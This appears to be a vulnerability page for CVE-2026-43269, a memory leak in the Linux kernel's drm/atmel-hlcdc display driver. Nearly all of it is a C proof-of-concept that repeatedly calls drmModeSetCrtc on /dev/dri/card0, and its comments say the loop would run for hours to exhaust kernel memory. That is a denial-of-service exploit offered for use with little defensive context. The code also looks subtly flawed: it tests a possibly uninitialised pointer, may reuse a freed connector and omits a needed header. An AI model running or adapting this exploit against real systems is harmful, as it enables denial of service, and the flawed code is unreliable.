CVE-2026-43269: Linux内核drm内存泄漏漏洞

/* * PoC for CVE-2026-43269 (Memory Leak in drm/atmel-hlcdc) * This script simulates the trigger condition by repeatedly setting CRTC modes. * Compile: gcc -o poc_leak poc_leak.c -ldrm */ #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <xf86drm.h> #include <xf86drmMode.h> int main(int argc, char *argv[]) { int fd; drmModeRes *resources; drmModeConnector *connector; drmModeEncoder *encoder; drmModeModeInfo *mode; // Open the DRM device (typically /dev/dri/card0) fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { return 1; } resources = drmModeGetResources(fd); if (!resources) { close(fd); return 1; } // Find a connected connector and mode for (int i = 0; i < resources->count_connectors; i++) { connector = drmModeGetConnector(fd, resources->connectors[i]); if (connector->connection == DRM_MODE_CONNECTED && connector->count_modes > 0) { mode = &connector->modes[0]; encoder = drmModeGetEncoder(fd, connector->encoder_id); break; } drmModeFreeConnector(connector); } if (!encoder) { drmModeFreeResources(resources); close(fd); return 1; } // Loop to trigger the atomic state change and memory leak // In a real exploit scenario, this runs for hours to exhaust memory printf("Starting memory leak trigger loop...\n"); for (int i = 0; i < 100000; i++) { // This call triggers the drm_mode_setcrtc -> atomic_commit path // which eventually calls the faulty atomic_destroy_state drmModeSetCrtc(fd, encoder->crtc_id, 0, 0, 0, &connector->connector_id, 1, mode); } // Cleanup drmModeFreeEncoder(encoder); drmModeFreeConnector(connector); drmModeFreeResources(resources); close(fd); return 0; }